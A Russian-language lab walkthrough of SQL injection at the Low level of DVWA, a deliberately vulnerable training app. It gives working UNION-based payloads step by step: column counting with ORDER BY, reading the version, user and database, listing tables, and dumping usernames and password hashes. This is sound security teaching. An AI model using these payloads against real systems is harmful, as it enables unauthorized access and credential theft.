DVWA, SQL-Injection, Уязвимости

#1 Уязвимость DVWA. SQL-Injection (уровень Low).

Здравствуйте, дорогие друзья.

Давайте рассмотрим уязвимости веб-приложения DVWA, в частности SQL-инъекцию на уровне Low. Думаю, Вы уже знаете, что такое SQL-инъекция, поэтому сразу перейдем к практике.

Выставим значение уровня безопасности на Low:

dvwa security low

Перейдем на вкладку «SQL-Injection», и введем цифру 1 для примера:

проверка на sql инъекцию

Обратите внимание на вывод информации. Это говорит о том, что страничка работает корректно, но в ней есть уязвимость.

Пробуем ввести цифру 2, и получаем тот же самый вывод:

проверка на sql инъекцию цифрой 2

Нам нужно проверить, уязвима данная страница к SQL-инъекциям. Для этого вводим одинарную кавычку:

ввод одинарной кавычки

Получаем ошибку синтаксиса, а это значит, что уязвимость действительно здесь есть.

Проверим количество столбцов с помощью SQL-запросов. Команды будут выглядеть как: «1’ order by 1 #», «1’ order by 2 #»:

1’ order by 1 #», «1’ order by 2 #
«1’ order by 2 #

Итак, 2 столбца у нас уже есть, исходя из проверки. Введем команду «1’ order by 3 #»:

1’ order by 3 #

Исходя из полученной записи делаем вывод, что в таблице 2 столбца.

Теперь проверим версию базы данных, с помощью запроса «1’ union select null, version() #»:

1’ union select null, version() #

Версия базы данных (5.0.51a-3ubuntu5), и она показана на скриншоте выше.

Теперь проверим имя пользователя, с помощью команды «1’ union select null, user() #»:

1’ union select null, user() #

Теперь узнаем имя базы данных с помощью команды: «1’ union select null, database() #»:

1’ union select null, database() #

База данных называется «dvwa».

Продолжим исследование уязвимости, и теперь попробуем имя таблицы от information_schema.tables. Команда: «1’ union select null, table_name from information_schema.tables #»:

1’ union select null, table_name from information_schema.tables #

Настала пора узнать захешированные пароли и имена пользователей. Это делается с помощью команды «1′ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#»:

1' union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#

В итоге мы узнали имена пользователей и пароли в этой базе данных.